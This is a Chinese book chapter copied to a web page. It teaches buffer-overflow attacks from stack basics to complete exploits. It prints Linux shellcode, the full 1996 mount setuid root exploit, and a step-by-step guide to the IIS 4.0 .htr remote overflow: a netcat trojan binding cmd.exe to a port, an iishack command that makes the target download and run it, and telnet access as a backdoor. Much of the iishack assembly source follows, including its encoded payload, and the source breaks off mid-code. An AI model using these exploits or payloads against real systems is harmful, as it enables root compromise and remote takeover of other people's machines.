分享
 
 
 

黑客技术 第10章 缓冲区溢出及其攻击

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

第十章

缓冲区溢出及其攻击

第一节缓冲区溢出原理

缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。

下面对这种技术做一个详细的介绍。

缓冲区是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。

如果程序在动态分配缓冲区放入太多的数据会有什么现象?它溢出了,漏到了别的地方。一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中,通常是产生root权限的地方。

单单的缓冲区溢出,并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样,一个缓冲区利用程序将能运行的指令放在了有root权限的内存中,从而一旦运行这些指令,就是以root权限控制了计算机。

总结一下上面的描述。缓冲区溢出指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example0.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

----------------------------------------------------------------------

上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。

在C语言中,静态变量是分配在数据段中的,动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。

下面通过介绍Linux中怎样利用缓冲区溢出来讲解这一原理。最后介绍一个 eEye公司发现的IIS的一个溢出漏洞来讲解一个很实际的攻击实例。

第二节制造缓冲区溢出

一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据,这个段通常是只读,对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置如下:

/――――――――\ 内存低端

| 程序段 |

|―――――――――|

| 数据段 |

|―――――――――|

| 堆栈 |

\―――――――――/ 内存高端

堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器(SP)指向堆栈的栈顶。堆栈的底部是一个固定地址。

堆栈有一个特点就是,后进先出。也就是说,后放入的数据第一个取出。它支持两个操作,PUSH和POP。PUSH是将数据放到栈的顶端,POP是将栈顶的数据取出。

在高级语言中,程序函数调用和函数中的临时变量都用到堆栈。参数的传递和返回值是也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针(FP,在Intel芯片中是BP),许多编译器实际上是用它来引用本地变量和参数的。通常,参数的相对FP的偏移是正的,局部变量是负的。

当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容,做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。

下面举个例子:

example1.c:

------------------------------------------------------------------------------

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

}

void main() {

function(1,2,3);

}

------------------------------------------------------------------------------

为了理解程序是怎样调用函数function()的,使用-S选项,在Linux下,用gcc进行编译,产生汇编代码输出:

$ gcc -S -o example1.s example1.c

看看输出文件中调用函数的那部分:

pushl $3

pushl $2

pushl $1

call function

这就将3个参数压到堆栈里了,并调用function()。指令call会将指令指针IP压入堆栈。在返回时,RET要用到这个保存的IP。

在函数中,第一要做的事是进行一些必要的处理。每个函数都必须有这些过程:

pushl %ebp

movl %esp,%ebp

subl $20,%esp

这几条指令将EBP,基址指针放入堆栈。然后将当前SP拷贝到EBP。然后,为本地变量分配空间,并将它们的大小从SP里减掉。由于内存分配是以字为单位的,因此,这里的buffer1用了8字节(2个字,一个字4字节)。Buffer2用了12字节(3个字)。所以这里将ESP减了20。这样,现在,堆栈看起来应该是这样的。

低端内存 高端内存

buffer2 buffer1 sfp ret a b c

< ------ [ ][ ][ ][ ][ ][ ][ ]

栈顶 栈底

缓冲区溢出就是在一个缓冲区里写入过多的数据。那怎样利用呢,看一下下面程序:

example2.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string);

}

----------------------------------------------------------------------

这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查,拷贝到另一内存区域。当调用函数function()时,堆栈如下:

低内存端 buffer sfp ret *str 高内存端

< ------ [ ][ ][ ][ ]

栈顶 栈底

很明显,程序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp, ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。

可见,缓冲区溢出允许我们改变一个函数的返回地址。通过这种方式,可以改变程序的执行顺序。

第三节通过缓冲区溢出获得用户SHELL

再回过头看看第一个例子:

低端内存 高端内存

buffer2 buffer1 sfp ret a b c

< ------ [ ][ ][ ][ ][ ][ ][ ]

栈顶 栈底

将第一个example1.c的代码改动一下,用来覆盖返回地址,显示怎样能利用它来执行任意代码。在上图中,buffer1前面的上sfp,再前面的是ret。而且buffer1[]实际上是8个字节,因此,返回地址是从buffer1[]起始地址算起是12个字节。在程序中,将返回地址设置成跳过语句"x=1;",因此,程序的运行结果显示成一个0,而不是1。

example3.c:

------------------------------------------------------------------------------

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12;

(*ret) += 8;

}

void main() {

int x;

x = 0;

function(1,2,3);

x = 1;

printf("%d\n",x);

}

用gdb调试。

$ gdb example3

(gdb) disassemble main

Dump of assembler code for function main:

0x8000490 < main>: pushl %ebp

0x8000491 < main+1>: movl %esp,%ebp

0x8000493 < main+3>: subl $0x4,%esp

0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)

0x800049d < main+13>: pushl $0x3

0x800049f < main+15>: pushl $0x2

0x80004a1 < main+17>: pushl $0x1

0x80004a3 < main+19>: call 0x8000470 < function>

0x80004a8 < main+24>: addl $0xc,%esp

0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)

0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax

0x80004b5 < main+37>: pushl %eax

0x80004b6 < main+38>: pushl $0x80004f8

0x80004bb < main+43>: call 0x8000378 < printf>

0x80004c0 < main+48>: addl $0x8,%esp

0x80004c3 < main+51>: movl %ebp,%esp

0x80004c5 < main+53>: popl %ebp

0x80004c6 < main+54>: ret

0x80004c7 < main+55>: nop

------------------------------------------------------------------------------

可见在调用function()之前,RET的返回地址将是0x8004a8,我们想要跳过0x80004ab,去执行0x8004b2。

在能够修改程序执行顺序之后,想要执行什么程序呢?通常希望程序去执行Shell,在Shell里,就能执行希望执行的指令了。

如果在溢出的缓冲区中写入想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。

在C语言中,调用shell的程序是这样的:

shellcode.c

-----------------------------------------------------------------------------

#include < stdio.h>

void main() {

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------------

看一下这段程序的二进制代码:

$ gcc -o shellcode -ggdb -static shellcode.c

$ gdb shellcode

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 < main>: pushl %ebp

0x8000131 < main+1>: movl %esp,%ebp

0x8000133 < main+3>: subl $0x8,%esp

0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)

0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)

0x8000144 < main+20>: pushl $0x0

0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 < main+25>: pushl %eax

0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d < main+29>: pushl %eax

0x800014e < main+30>: call 0x80002bc < __execve>

0x8000153 < main+35>: addl $0xc,%esp

0x8000156 < main+38>: movl %ebp,%esp

0x8000158 < main+40>: popl %ebp

0x8000159 < main+41>: ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc < __execve>: pushl %ebp

0x80002bd < __execve+1>: movl %esp,%ebp

0x80002bf < __execve+3>: pushl %ebx

0x80002c0 < __execve+4>: movl $0xb,%eax

0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx

0x80002cb < __execve+15>: movl 0x10(%ebp),%edx

0x80002ce < __execve+18>: int $0x80

0x80002d0 < __execve+20>: movl %eax,%edx

0x80002d2 < __execve+22>: testl %edx,%edx

0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>

0x80002d6 < __execve+26>: negl %edx

0x80002d8 < __execve+28>: pushl %edx

0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>

0x80002de < __execve+34>: popl %edx

0x80002df < __execve+35>: movl %edx,(%eax)

0x80002e1 < __execve+37>: movl $0xffffffff,%eax

0x80002e6 < __execve+42>: popl %ebx

0x80002e7 < __execve+43>: movl %ebp,%esp

0x80002e9 < __execve+45>: popl %ebp

0x80002ea < __execve+46>: ret

0x80002eb < __execve+47>: nop

End of assembler dump.

------------------------------------------------------------------------------

研究一下main:

------------------------------------------------------------------------------

0x8000130 < main>: pushl %ebp

0x8000131 < main+1>: movl %esp,%ebp

0x8000133 < main+3>: subl $0x8,%esp

这段代码是main()函数的进入代码,为变量name留出空间。

0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)

0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)

这里实现了name[0] = "/bin/sh";语句。

接下来是调用execve()函数。

0x8000144 < main+20>: pushl $0x0

0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 < main+25>: pushl %eax

0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d < main+29>: pushl %eax

前面几句是参数传递。

0x800014e < main+30>: call 0x80002bc < __execve>

再来分析一下execve()函数。

0x80002bc < __execve>: pushl %ebp

0x80002bd < __execve+1>: movl %esp,%ebp

0x80002bf < __execve+3>: pushl %ebx

这是每个函数的进入必须处理部分。

0x80002c0 < __execve+4>: movl $0xb,%eax

将eax拷贝到堆栈上的0xb(11)处。这是系统调用表的索引,及是execve调用。

0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx

0x80002cb < __execve+15>: movl 0x10(%ebp),%edx

0x80002ce < __execve+18>: int $0x80

进入中断,也就是系统内核,实现系统调用。为了防止execve调用不成功,可以在程序后面再加入一个exit系统调用。

将上面所述,我们就得出一段调用shell的二进制(汇编)代码:

------------------------------------------------------------------------------

movl string_addr,string_addr_addr

movb $0x0,null_byte_addr

movl $0x0,null_addr

movl $0xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int $0x80

movl $0x1, %eax

movl $0x0, %ebx

int $0x80

/bin/sh string goes here.

------------------------------------------------------------------------------

由于我们不知道程序的运行空间,所以使用JMP和CALL指令。这两个指令可以使用相对地址。如果在“/bin/sh”前放一条CALL指令,并将一个JMP指令跳向它。这个字符串地址将PUSH到堆栈上,作为CALL的返回地址。我们所做的就是将返回地址拷贝到一个寄存器。那么程序的执行顺序如下:

内存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高端

89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF

buffer sfp ret a b c

< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]

^|^ ^| |

|||_____________||____________| (1)

(2) ||_____________||

|______________| (3)

栈顶 栈底

经过这些改动后,使用索引地址,参考下面的代码:

------------------------------------------------------------------------------

jmp 0x26 # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2b # 5 bytes

.string \"/bin/sh\" # 8 bytes

------------------------------------------------------------------------------

通常将上面这段代码翻译成二进制代码,放在一个数组里。

将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

下面的程序是怎样利用的示范:

example4.c

----------------------------------------------------------------------

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

----------------------------------------------------------------------

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。

这样当程序试从strcpy()中返回时,就会转而执行shell。

第四节利用缓冲区溢出进行的系统攻击

如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。可以编写程序来自动实现这一功能。请参见下面的这个比较经典的程序。

低内存端 buffer sfp ret *str 高内存端

< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]

栈顶 ^ | 栈底

|_______________________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞:

example5.c

----------------------------------------------------------------------

/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio

Covin Security 1996

*/

#include < unistd.h>

#include < stdio.h>

#include < stdlib.h>

#include < fcntl.h>

#include < sys/stat.h>

#define PATH_MOUNT "/bin/umount"

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

u_long get_esp()

{

__asm__("movl %esp, %eax");

}

main(int argc, char **argv)

{

u_char execshell[] =

"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

int i;

int ofs = DEFAULT_OFFSET;

buff = malloc(4096);

if(!buff)

{

printf("can't allocate memory\n");

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

(void)alarm((u_int)0);

printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");

execl(PATH_MOUNT, "mount", buff, NULL);

}

----------------------------------------------------------------------

程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。

由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。

第五节缓冲区溢出应用攻击实例

eEye - Digital Security Team利用他们开发的Retina网络安全扫描器时,发现了微软IIS4.0的一个缓冲区溢出漏洞,从而产生了一些列的攻击。下面是对这一过程的详细分析。

受到影响的系统

Internet Information Server 4.0 (IIS4)

Microsoft Windows NT 4.0 SP3 Option Pack 4

Microsoft Windows NT 4.0 SP4 Option Pack 4

Microsoft Windows NT 4.0 SP5 Option Pack 4

目前,Internet上90%的NT Web服务器运行的是上述系统。所以这一造成的后果是相当巨大的。

原理

IIS把整个的URL地址传给处理IIS默认后缀(.ASP, .IDC, .HTR)的DLL。如果ISAPI DLL没有一个很好的边界检查的话,会产生一个缓冲区溢出,它利用IIS(inetinfo.exe),允许执行远程计算机上的任意代码。

利用这一原理,eEye利用Retina使用这些后缀,来探测是否存在这样的漏洞。结果,发现了这样的漏洞。在发送"GET /[overflow].htr HTTP/1.0"后,对方的服务器没有反映了。于是,使用调试器,进行分析后发现,这个缓冲区有3K。请参看前面介绍的原理。

下面是调试信息:

EAX = 00F7FCC8 EBX = 00F41130

ECX = 41414141 EDX = 77F9485A

ESI = 00F7FCC0 EDI = 00F7FCC0

EIP = 41414141 ESP = 00F4106C

EBP = 00F4108C EFL = 00000246

注: Retina使用"A" (0x41)来填充缓冲区。

解释:

这个溢出和.HTR后缀有关。IIS包含了允许Windows NT用户通过web目录/iisadmpwd/改变他们的口令的能力。这个特点是由一系列的.HTR文件和ISAPI后缀文件ISM.DLL实现的。因此,在将URL传递给ISM.DLL的这一行的某个地方,并没有进行边界检查,于是就发生了溢出。.HTR/ISM.DLL ISAPI过滤器都在IIS服务器上缺省安装。

攻击方法

利用上述的毛病,eEye写了两个程序: iishack.exe和 ncx.exe。

把ncx.exe拷贝到你的web服务器上。ncx.exe是一个特洛伊木马程序,是netcat.exe的改进程序。主要变化是将-l -p 80 -t -e cmd.exe作为一个固定的参数运行,始终将cmd.exe绑定在80端口。ncx..exe的代码也比netcat.exe要小,有利于攻击。

如果不能在服务器上使用ncx.exe的话,可以使用ncx99.exe。主要原因是ncx.exe绑定80端口,有可能不能用。Ncx99.exe绑定99端口。

假设你的web server是:www.mysvr.com,对方的IIS server是www.xxx.com 。运行下面的命令:

iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)

运行后,可以看到如下信息:

------(IIS 4.0 remote buffer overflow exploit)-----------------

(c) dark spyrit -- barns@eeye.com.

http://www.eEye.com

[usage: iishack < host> < port> < url> ]

eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe

do not include 'http://' before hosts!

---------------------------------------------------------------

Data sent!

等待足够多的时间。这样,你已经利用这一漏洞并在被攻击的服务器上留下后门了。随后,可以使用Telnet来操作对方的计算机。

Telnet www.xxx.com 99

结果是这样:

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\>

这就说明你已经能进入对方的计算机了。现在可以进行任何想要进行的操作了。

如果想要退出,只需键入exit。

对这个漏洞的补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。

Iishack.exe程序的源代码

下面将iishack.exe的源代码放在这里,供有兴趣者参考。在分析这段代码时,请参照前面的原理的讲解。如要编译成可执行代码,请用Turbo ASM来编译。

; IIS 4.0 remote overflow exploit.

; (c) dark spyrit -- barns@eeye.com

;

; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and

; #beavuh... and all the other kiwi's except ceo.

;

; credits to acp for the console stuff..

;

; I don't want to go in too deeply on the process of exploiting buffer

; overflows... there's various papers out there on this subject, instead I'll

; give just a few specifics relating to this one..

;

; Microsoft was rather good to us on this occasion, stuffing our eip value

; directly into a register then calling it.. no need to stuff valid addresses

; to make our way through various routines to eventually return to our

; address... but, unfortunately it wasn't all smooth sailing.

; Various bytes and byte sequences I was forced to avoid, as you'll quickly

; notice should you bother debugging this.. various push/pop pairs etc.

; I don't bother with any cleanup when all is done, NT's exception handling

; can cope with the mess :)

;

; The exploit works by redirecting the eip to the address of a loaded dll,

; in this case ISM.DLL. Why?

; Because its loaded in memory, is loaded at a high address which gets around

; the null byte problem.. and is static on all service packs.

; The code from ISM.DLL jumps to my code, which creates a jump table of

; of functions we'll need, including the socket functions.. we do this

; because unfortunately the dll's import tables don't include nearly enough

; of the functions we need..

;

; The socket structure is created and filled at runtime, I had to do this

; at runtime because of the bad byte problem.. after this a small buffer is

; created, a get request issued to the web site of the file you want to

; download.. file is then received/saved to disk/and executed..

; Simple huh? no not really :)

;

; Have fun with this one... feel free to drop me an email with any comments.

;

; And finally, heh.. "caveat emptor".

;

;

; you can grab the assembled exe at http://www.eEye.com.

;

; to assemble:

;

; tasm32 -ml iishack.asm

; tlink32 -Tpe -c -x iishack.obj ,,, import32

.386p

locals

jumps

.model flat, stdcall

extrn GetCommandLineA:PROC

extrn GetStdHandle:PROC

extrn WriteConsoleA:PROC

extrn ExitProcess:PROC

extrn WSAStartup:PROC

extrn connect:PROC

extrn send:PROC

extrn recv:PROC

extrn WSACleanup:PROC

extrn gethostbyname:PROC

extrn htons:PROC

extrn socket:PROC

extrn inet_addr:PROC

extrn closesocket:PROC

.data

sploit_length equ 1157

sploit:

db "GET /"

db 041h, 041h, 041h, 041h, 041h, 041h, 041h

db 576 dup (041h)

db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h

db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h

db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h

db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h

db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh

db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h

db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h

db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h

db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h

db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h

db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h

db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h

db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h

db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh

db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h

db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h

db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h

db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h

db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch

db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h

db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah

db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h

db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh

db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h

db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h

db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch

db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh

db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h

db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h

db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h

db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h

db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h

db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h

db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh

db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h

db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h

db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h

db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h

db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h

_url2 db 85 dup (021h)

db ".htr HTTP/1.0"

db 00dh,00ah, 00dh, 00ah

logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10

db "(c) dark spyrit -- barns@eeye.com.",13,10

db "http://www.eEye.com",13,10,13,10

db "[usage: iishack < host> < port> < url>]", 13, 10

db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10

db "do not include 'http://' before hosts!",13,10

db "-------------------------------------------------------------------------------", 13, 10, 0

logolen equ $-logo

u_length db 10,"No more than 70 chars in 2nd url.",13,10,0

u_lengthl equ $-u_length

errorinit db 10,"Error initializing winsock.", 13, 10, 0

errorinitl equ $-errorinit

nohost db 10,"No host or IP specified.", 13,10,0

nohostl equ $-nohost

noport db 10,"No port specified.",13,10,0

noportl equ $-noport

no_url db 10,"No URL specified.",13,10,0

no_urll equ $-no_url

urlinv db 10,"Invalid URL.. no file specified?",13,10,0

urlinvl equ $-urlinv

reshost db 10,"Error resolving host.",13,10,0

reshostl equ $-reshost

sockerr db 10,"Error creating socket.",13,10,0

sockerrl equ $-sockerr

ipill db 10,"IP error.",13,10,0

ipilll equ $-ipill

porterr db 10,"Invalid port.",13,10,0

porterrl equ $-porterr

cnerror db 10,"Error establishing connection.",13,10,0

cnerrorl equ $-cnerror

success db 10,"Data sent!",13,10,0

successl equ $-success

console_in dd ?

console_out dd ?

bytes_read dd ?

wsadescription_len equ 256

wsasys_status_len equ 128

WSAdata struct

wVersion dw ?

wHighVersion dw ?

szDescription db wsadescription_len+1 dup (?)

szSystemStatus db wsasys_status_len+1 dup (?)

iMaxSockets dw ?

iMaxUdpDg dw ?

lpVendorInfo dw ?

WSAdata ends

sockaddr_in struct

sin_family dw ?

sin_port dw ?

sin_addr dd ?

sin_zero db 8 dup (0)

sockaddr_in ends

wsadata WSAdata < ?>

sin sockaddr_in < ?>

sock dd ?

numbase dd 10

_port db 256 dup (?)

_host db 256 dup (?)

_url db 256 dup (?)

stuff db 042h, 068h, 066h, 075h, 041h, 050h

.code

start:

call init_console

push logolen

push offset logo

call write_console

call GetCommandLineA

mov edi, eax

mov ecx, -1

xor al, al

push edi

repnz scasb

not ecx

pop edi

mov al, 20h

repnz scasb

dec ecx

cmp ch, 0ffh

jz @@0

test ecx, ecx

jnz @@1

@@0:

push nohostl

push offset nohost

call write_console

jmp quit3

@@1:

mov esi, edi

lea edi, _host

call parse

or ecx, ecx

jnz @@2

push noportl

push offset noport

call write_console

jmp quit3

@@2:

lea edi, _port

call parse

or ecx, ecx

jnz @@3

push no_urll

push offset no_url

call write_console

jmp quit3

@@3:

push ecx

lea edi, _url

call parse

pop ecx

cmp ecx, 71

jb length_ok

push u_lengthl

push offset u_length

call write_console

jmp quit3

length_ok:

mov esi, offset _url

mov edi, offset _url2

@@10:

xor al, al

lodsb

cmp al, 02fh

jz whaq

test al, al

jz @@20

add al, 021h

stosb

jmp @@10

@@20:

push urlinvl

push offset urlinv

call write_console

jmp quit3

whaq:

push esi

lea esi, stuff

lodsw

stosw

lodsd

stosd

pop esi

fileget:

xor al, al

lodsb

test al, al

jz getdone

add al, 021h

stosb

jmp fileget

getdone:

push offset wsadata

push 0101h

call WSAStartup

or eax, eax

jz winsock_found

push errorinitl

push offset errorinit

call write_console

jmp quit3

winsock_found:

xor eax, eax

push eax

inc eax

push eax

inc eax

push eax

call socket

cmp eax, -1

jnz socket_ok

push sockerrl

push offset sockerr

